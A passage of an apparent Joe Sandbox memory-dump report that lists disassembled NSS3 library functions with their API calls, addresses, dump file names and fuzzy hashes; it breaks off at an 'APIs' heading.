Part of subcall function 6CB689E0: PR_Unlock.NSS3(?), ref: 6CB68A35

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 4d7ff5935cf4b8611020907f47111e107ebad910a55d7842db5ceeab740a0016
Instruction ID: af4ecedd8f577b2fc1e506355f8529dc12edd2f390a125712ce0634689b359f4
Opcode Fuzzy Hash: 4d7ff5935cf4b8611020907f47111e107ebad910a55d7842db5ceeab740a0016
Instruction Fuzzy Hash: 3F51B8B5D002915FEB109F64EC85ABF37A8DF0A218F150474EC199BB52FB31ED1987A2

Function 6CB46E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CB46ED8
sqlite3_value_text.NSS3(?,?), ref: 6CB46EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CB46FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CB46FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CB46FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CB47010
sqlite3_value_blob.NSS3(?,?), ref: 6CB4701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CB47052

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: d957be07ba7c6984052a4f2cb1ce60736fbfd9ca619951550e63eb160bf94b4f
Instruction ID: 79aab626aafbfe93a3952246ae43c2fe9dc71f56765990d8caa8d6a75a922d70
Opcode Fuzzy Hash: d957be07ba7c6984052a4f2cb1ce60736fbfd9ca619951550e63eb160bf94b4f
Instruction Fuzzy Hash: 6561E3B1E092868FDF00CF69C8007EEB7B2AF45308F188165D454ABB58E7319C06EB91

Function 6CBB8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CBB7313), ref: 6CBB8FBB

Part of subcall function 6CBB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB58298,?,?,?,6CB4FCE5,?), ref: 6CBB07BF
Part of subcall function 6CBB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBB07E6
Part of subcall function 6CBB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBB081B
Part of subcall function 6CBB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBB0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CBB7313), ref: 6CBB9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CBB7313), ref: 6CBB903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CBB7313), ref: 6CBB909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CBB7313), ref: 6CBB90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CBB7313), ref: 6CBB90F1

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CBB7313), ref: 6CBB906B

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CBB7313), ref: 6CBB9128

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: ef7c548efc173c83764291ebc8ed37bcf883a7adf3986b6a0af1235dd79c4ab3
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 32517171E042419BEB109F6ADC84B3AB3F9EF64358F154025D919E7761EF31E804CB92

Function 6CB69C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CB68850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CB70715), ref: 6CB68859
Part of subcall function 6CB68850: PR_NewLock.NSS3 ref: 6CB68874
Part of subcall function 6CB68850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CB6888D

PR_NewLock.NSS3 ref: 6CB69CAD

Part of subcall function 6CC198D0: calloc.MOZGLUE(00000001,00000084,6CB40936,00000001,?,6CB4102C), ref: 6CC198E5

Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407AD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407CD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407D6
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAD204A), ref: 6CB407E4
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,6CAD204A), ref: 6CB40864
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB40880
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,6CAD204A), ref: 6CB408CB
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408D7
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408FB

TlsGetValue.KERNEL32 ref: 6CB69CE8
EnterCriticalSection.KERNEL32(?,?,6CB6ECEC,6CB72FCD,00000000,?,6CB72FCD,?), ref: 6CB69D01
TlsGetValue.KERNEL32(?,?,?,6CB6ECEC,6CB72FCD,00000000,?,6CB72FCD,?), ref: 6CB69D38
EnterCriticalSection.KERNEL32(?,?,6CB6ECEC,6CB72FCD,00000000,?,6CB72FCD,?), ref: 6CB69D4D
PR_Unlock.NSS3 ref: 6CB69D70
PR_Unlock.NSS3 ref: 6CB69DC3
PR_NewLock.NSS3 ref: 6CB69DDD

Part of subcall function 6CB688D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB70725,00000000,00000058), ref: 6CB68906
Part of subcall function 6CB688D0: EnterCriticalSection.KERNEL32(?), ref: 6CB6891A
Part of subcall function 6CB688D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CB6894A
Part of subcall function 6CB688D0: calloc.MOZGLUE(00000001,6CB7072D,00000000,00000000,00000000,?,6CB70725,00000000,00000058), ref: 6CB68959
Part of subcall function 6CB688D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CB68993
Part of subcall function 6CB688D0: PR_Unlock.NSS3(?), ref: 6CB689AF

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 5221297371c81820f8fe320f251cb801cc9be062a6705649980b2bc34896b1b1
Instruction ID: e4e8fa99dd23d0a0fb268d2173772f43b792ab54c944a943986259b2d8405708
Opcode Fuzzy Hash: 5221297371c81820f8fe320f251cb801cc9be062a6705649980b2bc34896b1b1
Instruction Fuzzy Hash: EB515EB0A047559FDB00EF6AC08466EBBF0FF44349F158529D898DBB10EB30E844CB92

Function 6CC69EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CC69EC0
EnterCriticalSection.KERNEL32(?), ref: 6CC69EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CC69F73
EnterCriticalSection.KERNEL32(?), ref: 6CC69FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CC69FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CC69FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CC6A01D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 04ba806ce7aefb6f6aab0fd4b8836e6f83f1042e11bb9187c0901071984dc838
Instruction ID: 8e8880633005199650b8c98aca94608eeb25259a38c4a6ffb8b2f81a4769baf7
Opcode Fuzzy Hash: 04ba806ce7aefb6f6aab0fd4b8836e6f83f1042e11bb9187c0901071984dc838
Instruction Fuzzy Hash: B2519EB2804600CBCB10DF26D98464AB7F4FF45319F25856AD85A5BF52F731E886CBD1

Function 6CB74E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB74E90
EnterCriticalSection.KERNEL32 ref: 6CB74EA9
TlsGetValue.KERNEL32 ref: 6CB74EC6
EnterCriticalSection.KERNEL32 ref: 6CB74EDF
PL_HashTableLookup.NSS3 ref: 6CB74EF8
PR_Unlock.NSS3 ref: 6CB74F05
PR_Now.NSS3 ref: 6CB74F13
PR_Unlock.NSS3 ref: 6CB74F3A

Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407AD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407CD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407D6
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAD204A), ref: 6CB407E4
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,6CAD204A), ref: 6CB40864
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB40880
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,6CAD204A), ref: 6CB408CB
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408D7
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408FB

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 4170be4f6abfb01f6b8f690e9db1a85f1c64f939f5ddce27bc4402c823cc8d0c
Instruction ID: 3388701e6df83d7c7ec3b18fd9297895af881642159b50dc702440c3dddbc0be
Opcode Fuzzy Hash: 4170be4f6abfb01f6b8f690e9db1a85f1c64f939f5ddce27bc4402c823cc8d0c
Instruction Fuzzy Hash: 854159B4A046459FCB00EF79D4848AEBBF0FF49354B018569EC999B710EB30E895CFA1

Function 6CB5DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CB5DCFA

Part of subcall function 6CC19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC60A27), ref: 6CC19DC6
Part of subcall function 6CC19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC60A27), ref: 6CC19DD1
Part of subcall function 6CC19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC19DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB5DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CB5DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CB5DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CB5DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CB5DD8F

Part of subcall function 6CB706A0: TlsGetValue.KERNEL32 ref: 6CB706C2
Part of subcall function 6CB706A0: EnterCriticalSection.KERNEL32(?), ref: 6CB706D6
Part of subcall function 6CB706A0: PR_Unlock.NSS3 ref: 6CB706EB

CERT_DestroyCertificate.NSS3(?), ref: 6CB5DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CB5DDB7

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 8f2685a4b6549ae59e9252a1d4e24531b96eb744cc664c40fe695983696a0dca
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 7621BDB6E012A59BDF019FA4ED40ADEB7B4EF05208B940124ED18A7751F731ED25CBE2

Function 6CBE5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CBEAADB,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5F72

Part of subcall function 6CB4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CB4ED8F
Part of subcall function 6CB4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CB4ED9E
Part of subcall function 6CB4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CB4EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CBEAADB,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CBEAADB,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5FCC
free.MOZGLUE(?,?,6CBEAADB,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CBEAADB,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5FF4
free.MOZGLUE(?,?,6CBEAADB,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CBEAADB,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CBEAADB,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE6036

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: b246b9f1c0e893ba7d45f026d6c5299f9abe9885a81deef92b17f64ffc4ee7c2
Instruction ID: 5366414da2ce24468ed2585fdc818276147e9421403aa945d95b41bdf61c96be
Opcode Fuzzy Hash: b246b9f1c0e893ba7d45f026d6c5299f9abe9885a81deef92b17f64ffc4ee7c2
Instruction Fuzzy Hash: AC214FF1604B849BEA11DFB4E8487DB77F8AB45748F100828E46A87641D737E018CB92

Function 6CB53C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CBC460B,?,?), ref: 6CB53CA9
EnterCriticalSection.KERNEL32(?), ref: 6CB53CB9
PL_HashTableLookup.NSS3(?), ref: 6CB53CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CB53CD6
PR_Unlock.NSS3 ref: 6CB53CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CB53CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB53D03
PR_Unlock.NSS3 ref: 6CB53D15

Part of subcall function 6CBFDD70: TlsGetValue.KERNEL32 ref: 6CBFDD8C
Part of subcall function 6CBFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBFDDB4

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: dc9922cce2386ebd2317b671c9d6915eeefaad1eaeae7ffe01e1dd941a2d695d
Instruction ID: 94955277dc526f059327e451f2becb70da603b5ff3aeab2f64f214d8ab03cd21
Opcode Fuzzy Hash: dc9922cce2386ebd2317b671c9d6915eeefaad1eaeae7ffe01e1dd941a2d695d
Instruction Fuzzy Hash: 5011297AE04555ABDF011EB4FC058EE7B78EB0225CB544130ED1893711F722D96997E1

Function 6CB59C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB711C0: PR_NewLock.NSS3 ref: 6CB71216

free.MOZGLUE(?), ref: 6CB59E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB59E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB59E4E
TlsGetValue.KERNEL32 ref: 6CB59EA2

Part of subcall function 6CB69500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CB69546

EnterCriticalSection.KERNEL32(?), ref: 6CB59EB6
PR_Unlock.NSS3 ref: 6CB59ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CB59F18

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: beac40e9f3828c9e835561b26f9c6bbf23bf35fcdcafc18b938885824756b0cf
Instruction ID: 97d799a5b3fdb2fcff760bb8c5b4a5f51d9c16a93c8447f6acea078ca0427bf1
Opcode Fuzzy Hash: beac40e9f3828c9e835561b26f9c6bbf23bf35fcdcafc18b938885824756b0cf
Instruction Fuzzy Hash: DA81E5B1E003819BEB109F35DC40AAF77A9FF44248F444529E85987F41FB31E82AC7A2

Function 6CB6DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB6AB10: DeleteCriticalSection.KERNEL32(D958E852,6CB71397,5B5F5EC0,?,?,6CB6B1EE,2404110F,?,?), ref: 6CB6AB3C
Part of subcall function 6CB6AB10: free.MOZGLUE(D958E836,?,6CB6B1EE,2404110F,?,?), ref: 6CB6AB49
Part of subcall function 6CB6AB10: DeleteCriticalSection.KERNEL32(5D5E6CD6), ref: 6CB6AB5C
Part of subcall function 6CB6AB10: free.MOZGLUE(5D5E6CCA), ref: 6CB6AB63
Part of subcall function 6CB6AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CB6AB6F
Part of subcall function 6CB6AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CB6AB76

TlsGetValue.KERNEL32 ref: 6CB6DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CB6DD0E
PK11_IsFriendly.NSS3(?), ref: 6CB6DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CB6DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB6DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB6DEA6
PR_Unlock.NSS3(?), ref: 6CB6DF08

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 68fed75d99594f9e7d1a959fbef4a1e7796ae1c81ddf655a87040c0bf1cc6381
Instruction ID: 4ce556a74470e085c97a967d53535177a332abf69ce759595c111e023c72bff5
Opcode Fuzzy Hash: 68fed75d99594f9e7d1a959fbef4a1e7796ae1c81ddf655a87040c0bf1cc6381
Instruction Fuzzy Hash: 0B91C2B5A001459FDF00DF6AE880BAEB7B1EF54308F254029DD199BF41EB31E955CBA2

Function 6CB25FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

